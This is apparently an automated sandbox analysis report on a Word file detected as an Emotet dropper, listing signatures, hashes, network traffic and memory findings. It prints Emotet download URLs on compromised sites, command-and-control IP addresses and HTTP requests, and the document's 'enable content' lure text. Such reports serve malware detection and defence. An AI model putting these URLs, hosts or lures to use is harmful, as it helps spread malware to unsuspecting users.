Analysis Report Notice 8283393_829.doc

Overview

General Information

Sample Name: Notice 8283393_829.doc
Analysis ID: 343691
MD5: a4034f791ed5368d79bea232cc4ed098
SHA1: fe115002ee5aa2727e4492796eb868a1057d0f76
SHA256: f3f0d0112ffa52d81073dcdbb182e32c2e28a58fa156ab70522287b1f1eafe2b

Most interesting Screenshot:

Detection

Emotet
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus detection for URL or domain
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for submitted file
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
System process connects to network (likely due to code injection or exploit)
Yara detected Emotet
Creates processes via WMI
Document contains an embedded VBA with many GOTO operations indicating source code obfuscation
Encrypted powershell cmdline option found
Hides that the sample has been downloaded from the Internet (zone.identifier)
Machine Learning detection for dropped file
Obfuscated command line found
Potential dropper URLs found in powershell memory
Powershell drops PE file
Sigma detected: Suspicious Call by Ordinal
Sigma detected: Suspicious Encoded PowerShell Command Line
Suspicious powershell command line found
Very long command line found
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Contains functionality to read the PEB
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Detected potential crypto function
Document contains an embedded VBA macro which executes code when the document is opened / closed
Document contains embedded VBA macros
Downloads executable code via HTTP
Drops PE files
Drops PE files to the windows directory (C:\Windows)
Enables debug privileges
Found dropped PE file which has not been started or loaded
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE file contains strange resources
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

AV Detection:

barindex
Antivirus detection for URL or domain
Source: http://3musketeersent.net/wp-includes/TUgD/ Avira URL Cloud: Label: malware
Source: https://skilmu.com/wp-admin/hQVlB8b/ Avira URL Cloud: Label: malware
Source: http://dashudance.com/thinkphp/dgs7Jm9/ Avira URL Cloud: Label: malware
Source: http://shannared.com/content/lhALeS/ Avira URL Cloud: Label: malware
Source: http://mmrincs.com/eternal-duelist-9cuqv/jxGQj/ Avira URL Cloud: Label: malware
Multi AV Scanner detection for domain / URL
Source: https://skilmu.com/wp-admin/hQVlB8b/ Virustotal: Detection: 6% Perma Link
Multi AV Scanner detection for submitted file
Source: Notice 8283393_829.doc Virustotal: Detection: 16% Perma Link
Machine Learning detection for dropped file
Source: C:\Users\user\Kaktksw\An6othh\N49I.dll Joe Sandbox ML: detected

Cryptography:

barindex
Uses Microsoft's Enhanced Cryptographic Provider
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0040CC2A CryptDecodeObjectEx, 10_2_0040CC2A

Compliance:

barindex
Uses new MSVCR Dlls
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Binary contains paths to debug symbols
Source: Binary string: System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.2096777718.0000000002797000.00000004.00000040.sdmp
Source: Binary string: C:\Windows\symbols\dll\System.Management.Automation.pdbCom source: powershell.exe, 00000005.00000002.2096777718.0000000002797000.00000004.00000040.sdmp
Source: Binary string: C:\Windows\dll\System.Management.Automation.pdbProg source: powershell.exe, 00000005.00000002.2096777718.0000000002797000.00000004.00000040.sdmp
Source: Binary string: C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.2096777718.0000000002797000.00000004.00000040.sdmp
Source: Binary string: ws\System.Management.Automation.pdbpdbion.pdbERSP source: powershell.exe, 00000005.00000002.2096777718.0000000002797000.00000004.00000040.sdmp
Source: Binary string: C:\Windows\System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.2096777718.0000000002797000.00000004.00000040.sdmp
Source: Binary string: mscorrc.pdb source: powershell.exe, 00000005.00000002.2096918890.0000000002C10000.00000002.00000001.sdmp
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00402577 FindFirstFileW, 10_2_00402577
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini Jump to behavior

Software Vulnerabilities:

barindex
Potential document exploit detected (performs DNS queries)
Source: global traffic DNS query: name: shannared.com
Potential document exploit detected (performs HTTP gets)
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 192.169.223.13:80
Potential document exploit detected (unknown TCP traffic)
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 192.169.223.13:80

Networking:

barindex
Potential dropper URLs found in powershell memory
Source: powershell.exe, 00000005.00000002.2100960940.0000000003B2B000.00000004.00000001.sdmp String found in memory: http://shannared.com/content/lhALeS/!http://jeevanlic.com/wp-content/r8M/!http://dashudance.com/thinkphp/dgs7Jm9/!http://leopardcranes.com/zynq-linux-yaayf/w/!http://mmrincs.com/eternal-duelist-9cuqv/jxGQj/!http://3musketeersent.net/wp-includes/TUgD/!https://skilmu.com/wp-admin/hQVlB8b/
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKCache-Control: no-cache, must-revalidatePragma: no-cacheExpires: Mon, 25 Jan 2021 11:34:26 GMTContent-Disposition: attachment; filename="PwAMo3WpOCxi2p.dll"Content-Transfer-Encoding: binarySet-Cookie: 600eacc2614da=1611574466; expires=Mon, 25-Jan-2021 11:35:26 GMT; Max-Age=60; path=/Last-Modified: Mon, 25 Jan 2021 11:34:26 GMTX-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffContent-Type: application/octet-streamX-Cacheable: YES:ForcedContent-Length: 631808Accept-Ranges: bytesDate: Mon, 25 Jan 2021 11:34:26 GMTAge: 0Vary: User-AgentX-Cache: uncachedX-Cache-Hit: MISSX-Backend: all_requestsData Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 5e 42 2a 00 00 00 00 00 00 00 00 e0 00 8e a1 0b 01 02 19 00 30 06 00 00 70 03 00 00 00 00 00 bc 3e 06 00 00 10 00 00 00 40 06 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 e0 09 00 00 04 00 00 00 00 00 00 02 00 01 00 00 00 00 00 00 00 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 ec 22 00 00 00 10 07 00 00 c6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 06 00 d4 6e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 43 4f 44 45 00 00 00 00 e8 2e 06 00 00 10 00 00 00 30 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 44 41 54 41 00 00 00 00 cc 14 00 00 00 40 06 00 00 16 00 00 00 34 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 42 53 53 00 00 00 00 00 d1 0c 00 00 00 60 06 00 00 00 00 00 00 4a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 69 64 61 74 61 00 00 ec 22 00 00 00 70 06 00 00 24 00 00 00 4a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 d4 6e Data Ascii: MZP@!L!This program must be run under Win32$7PEL^B*0p
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /content/lhALeS/ HTTP/1.1Host: shannared.comConnection: Keep-Alive
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 84.232.229.24 84.232.229.24
Source: Joe Sandbox View IP Address: 192.169.223.13 192.169.223.13
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: RCS-RDS73-75DrStaicoviciRO RCS-RDS73-75DrStaicoviciRO
Source: Joe Sandbox View ASN Name: AS-26496-GO-DADDY-COM-LLCUS AS-26496-GO-DADDY-COM-LLCUS
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: POST /ozrf6dcy5j/7k5jvcfnl1c/ccmrg6oyv4nizx6/ HTTP/1.1DNT: 0Referer: 84.232.229.24/ozrf6dcy5j/7k5jvcfnl1c/ccmrg6oyv4nizx6/Content-Type: multipart/form-data; boundary=--------------uxOXlkGo1PIptjUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 84.232.229.24Content-Length: 6404Connection: Keep-AliveCache-Control: no-cache
Source: unknown TCP traffic detected without corresponding DNS query: 84.232.229.24
Source: unknown TCP traffic detected without corresponding DNS query: 84.232.229.24
Source: unknown TCP traffic detected without corresponding DNS query: 84.232.229.24
Source: unknown TCP traffic detected without corresponding DNS query: 84.232.229.24
Source: unknown TCP traffic detected without corresponding DNS query: 84.232.229.24
Source: unknown TCP traffic detected without corresponding DNS query: 84.232.229.24
Source: unknown TCP traffic detected without corresponding DNS query: 84.232.229.24
Source: unknown TCP traffic detected without corresponding DNS query: 84.232.229.24
Source: unknown TCP traffic detected without corresponding DNS query: 84.232.229.24
Source: unknown TCP traffic detected without corresponding DNS query: 84.232.229.24
Source: unknown TCP traffic detected without corresponding DNS query: 84.232.229.24
Source: unknown TCP traffic detected without corresponding DNS query: 84.232.229.24
Source: unknown TCP traffic detected without corresponding DNS query: 84.232.229.24
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0041CD07 InternetReadFile, 10_2_0041CD07
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{8ADFC7D3-349E-46EF-BF24-C3A751787722}.tmp Jump to behavior
Source: global traffic HTTP traffic detected: GET /content/lhALeS/ HTTP/1.1Host: shannared.comConnection: Keep-Alive
Source: rundll32.exe, 00000006.00000002.2101329933.0000000001B90000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2099402551.0000000001F40000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2101273139.0000000001DD0000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.2102630068.0000000002110000.00000002.00000001.sdmp String found in binary or memory: Please visit http://www.hotmail.com/oe to learn more. equals www.hotmail.com (Hotmail)
Source: unknown DNS traffic detected: queries for: shannared.com
Source: unknown HTTP traffic detected: POST /ozrf6dcy5j/7k5jvcfnl1c/ccmrg6oyv4nizx6/ HTTP/1.1DNT: 0Referer: 84.232.229.24/ozrf6dcy5j/7k5jvcfnl1c/ccmrg6oyv4nizx6/Content-Type: multipart/form-data; boundary=--------------uxOXlkGo1PIptjUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 84.232.229.24Content-Length: 6404Connection: Keep-AliveCache-Control: no-cache
Source: powershell.exe, 00000005.00000002.2100960940.0000000003B2B000.00000004.00000001.sdmp String found in binary or memory: http://3musketeersent.net/wp-includes/TUgD/
Source: powershell.exe, 00000005.00000002.2100960940.0000000003B2B000.00000004.00000001.sdmp String found in binary or memory: http://dashudance.com/thinkphp/dgs7Jm9/
Source: rundll32.exe, 00000006.00000002.2101329933.0000000001B90000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2099402551.0000000001F40000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2101273139.0000000001DD0000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.2102630068.0000000002110000.00000002.00000001.sdmp String found in binary or memory: http://investor.msn.com
Source: rundll32.exe, 00000006.00000002.2101329933.0000000001B90000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2099402551.0000000001F40000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2101273139.0000000001DD0000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.2102630068.0000000002110000.00000002.00000001.sdmp String found in binary or memory: http://investor.msn.com/
Source: powershell.exe, 00000005.00000002.2100960940.0000000003B2B000.00000004.00000001.sdmp String found in binary or memory: http://jeevanlic.com/wp-content/r8M/
Source: powershell.exe, 00000005.00000002.2100960940.0000000003B2B000.00000004.00000001.sdmp String found in binary or memory: http://leopardcranes.com/zynq-linux-yaayf/w/
Source: rundll32.exe, 00000006.00000002.2101895131.0000000001D77000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2099707993.0000000002127000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2101735751.0000000001FB7000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.2102911558.00000000022F7000.00000002.00000001.sdmp String found in binary or memory: http://localizability/practices/XML.asp
Source: rundll32.exe, 00000006.00000002.2101895131.0000000001D77000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2099707993.0000000002127000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2101735751.0000000001FB7000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.2102911558.00000000022F7000.00000002.00000001.sdmp String found in binary or memory: http://localizability/practices/XMLConfiguration.asp
Source: powershell.exe, 00000005.00000002.2100960940.0000000003B2B000.00000004.00000001.sdmp String found in binary or memory: http://mmrincs.com/eternal-duelist-9cuqv/jxGQj/
Source: powershell.exe, 00000005.00000002.2096397463.00000000021F0000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2103687531.0000000002990000.00000002.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
Source: rundll32.exe, 00000006.00000002.2101895131.0000000001D77000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2099707993.0000000002127000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2101735751.0000000001FB7000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.2102911558.00000000022F7000.00000002.00000001.sdmp String found in binary or memory: http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
Source: powershell.exe, 00000005.00000002.2100960940.0000000003B2B000.00000004.00000001.sdmp String found in binary or memory: http://shannared.com
Source: powershell.exe, 00000005.00000002.2100960940.0000000003B2B000.00000004.00000001.sdmp, powershell.exe, 00000005.00000002.2102421943.000000001B7AB000.00000004.00000001.sdmp String found in binary or memory: http://shannared.com/content/lhALeS/
Source: rundll32.exe, 00000006.00000002.2101895131.0000000001D77000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2099707993.0000000002127000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2101735751.0000000001FB7000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.2102911558.00000000022F7000.00000002.00000001.sdmp String found in binary or memory: http://windowsmedia.com/redir/services.asp?WMPFriendly=true
Source: powershell.exe, 00000005.00000002.2096397463.00000000021F0000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2103687531.0000000002990000.00000002.00000001.sdmp String found in binary or memory: http://www.%s.comPA
Source: rundll32.exe, 00000006.00000002.2101329933.0000000001B90000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2099402551.0000000001F40000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2101273139.0000000001DD0000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.2102630068.0000000002110000.00000002.00000001.sdmp String found in binary or memory: http://www.hotmail.com/oe
Source: rundll32.exe, 00000006.00000002.2101895131.0000000001D77000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2099707993.0000000002127000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2101735751.0000000001FB7000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.2102911558.00000000022F7000.00000002.00000001.sdmp String found in binary or memory: http://www.icra.org/vocabulary/.
Source: rundll32.exe, 00000006.00000002.2101329933.0000000001B90000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2099402551.0000000001F40000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2101273139.0000000001DD0000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.2102630068.0000000002110000.00000002.00000001.sdmp String found in binary or memory: http://www.msnbc.com/news/ticker.txt
Source: powershell.exe, 00000005.00000002.2095857022.0000000000454000.00000004.00000020.sdmp String found in binary or memory: http://www.piriform.com/ccleaner
Source: powershell.exe, 00000005.00000002.2095857022.0000000000454000.00000004.00000020.sdmp String found in binary or memory: http://www.piriform.com/ccleanerhttp://www.piriform.com/ccleanerv
Source: rundll32.exe, 00000009.00000002.2102630068.0000000002110000.00000002.00000001.sdmp String found in binary or memory: http://www.windows.com/pctv.
Source: powershell.exe, 00000005.00000002.2100960940.0000000003B2B000.00000004.00000001.sdmp String found in binary or memory: https://skilmu.com/wp-admin/hQVlB8b/

E-Banking Fraud:

barindex
Yara detected Emotet
Source: Yara match File source: 00000009.00000002.2102135109.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.2100845487.0000000000280000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.2345876127.0000000000260000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.2098814580.00000000003D0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.2098169869.0000000000180000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.2345849703.0000000000230000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.2101932435.0000000000260000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.2100381463.00000000001E0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.2100479204.0000000000210000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.2098570175.0000000000250000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.2101843571.0000000000210000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.2345928657.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 8.2.rundll32.exe.280000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.rundll32.exe.260000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.rundll32.exe.250000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.rundll32.exe.210000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.260000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.rundll32.exe.280000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.rundll32.exe.180000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.rundll32.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.260000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.rundll32.exe.210000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.rundll32.exe.250000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.rundll32.exe.180000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.rundll32.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.rundll32.exe.260000.0.raw.unpack, type: UNPACKEDPE

System Summary:

barindex
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Source: Screenshot number: 4 Screenshot OCR: ENABLE EDITING" and "ENABLE CONTENT" buttons to preview this document. 0 Page, I of I Words:
Source: Screenshot number: 4 Screenshot OCR: DOCUMENT IS PROTECTED. I Previewing is not available for protected documents. You have to press "E
Source: Screenshot number: 4 Screenshot OCR: protected documents. You have to press "ENABLE EDITING" and "ENABLE CONTENT" buttons to preview thi
Source: Screenshot number: 4 Screenshot OCR: ENABLE CONTENT" buttons to preview this document. 0 Page, I of I Words: 8,758 N@m 13 ;a 1009
Source: Document image extraction number: 0 Screenshot OCR: ENABLE EDITING" and "ENABLE CONTENT" buttons to preview this document.
Source: Document image extraction number: 0 Screenshot OCR: DOCUMENT IS PROTECTED. Previewing is not available for protected documents. You have to press "ENA
Source: Document image extraction number: 0 Screenshot OCR: protected documents. You have to press "ENABLE EDITING" and "ENABLE CONTENT" buttons to preview thi
Source: Document image extraction number: 0 Screenshot OCR: ENABLE CONTENT" buttons to preview this document.
Source: Document image extraction number: 1 Screenshot OCR: ENABLE EDITING" and "ENABLE CONTENT" buttons to preview this document.
Source: Document image extraction number: 1 Screenshot OCR: protected documents. You have to press "ENABLE EDITING" and "ENABLE CONTENT" buttons to preview thi
Source: Document image extraction number: 1 Screenshot OCR: ENABLE CONTENT" buttons to preview this document.
Powershell drops PE file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\Kaktksw\An6othh\N49I.dll Jump to dropped file
Very long command line found
Source: unknown Process created: Commandline size = 5677
Source: unknown Process created: Commandline size = 5576
Source: C:\Windows\System32\cmd.exe Process created: Commandline size = 5576 Jump to behavior
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write Jump to behavior
Creates files inside the system directory
Source: C:\Windows\SysWOW64\rundll32.exe File created: C:\Windows\SysWOW64\Clrqippylzmyb\ Jump to behavior
Detected potential crypto function
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00197D7D 7_2_00197D7D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_001989F6 7_2_001989F6
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0018421E 7_2_0018421E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0019F411 7_2_0019F411
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0018F813 7_2_0018F813
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0018D013 7_2_0018D013
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00188816 7_2_00188816
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0018620A 7_2_0018620A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00187605 7_2_00187605
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0018A83A 7_2_0018A83A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0018903F 7_2_0018903F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00198831 7_2_00198831
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00187E34 7_2_00187E34
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00182628 7_2_00182628
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00184A2B 7_2_00184A2B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0018DC2F 7_2_0018DC2F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0019C424 7_2_0019C424
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00181658 7_2_00181658
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00191259 7_2_00191259
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00185856 7_2_00185856
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00194E4B 7_2_00194E4B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0018704B 7_2_0018704B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0018D44C 7_2_0018D44C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0019C04C 7_2_0019C04C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0018C07D 7_2_0018C07D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00198668 7_2_00198668
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00194693 7_2_00194693
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00195AB8 7_2_00195AB8
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00185EB9 7_2_00185EB9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_001856B3 7_2_001856B3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0019C6AD 7_2_0019C6AD
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0019CAA0 7_2_0019CAA0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00184EA1 7_2_00184EA1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00188CA3 7_2_00188CA3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0018D0DE 7_2_0018D0DE
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00189CC8 7_2_00189CC8
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0019D2CB 7_2_0019D2CB
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_001906C2 7_2_001906C2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0019DEE8 7_2_0019DEE8
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_001894EC 7_2_001894EC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0018C6EF 7_2_0018C6EF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00189AE1 7_2_00189AE1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_001942E2 7_2_001942E2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0019231B 7_2_0019231B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0018CF11 7_2_0018CF11
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00195115 7_2_00195115
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0018213E 7_2_0018213E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0019D530 7_2_0019D530
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0018492A 7_2_0018492A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0019BF25 7_2_0019BF25
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0019DB25 7_2_0019DB25
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0019654F 7_2_0019654F
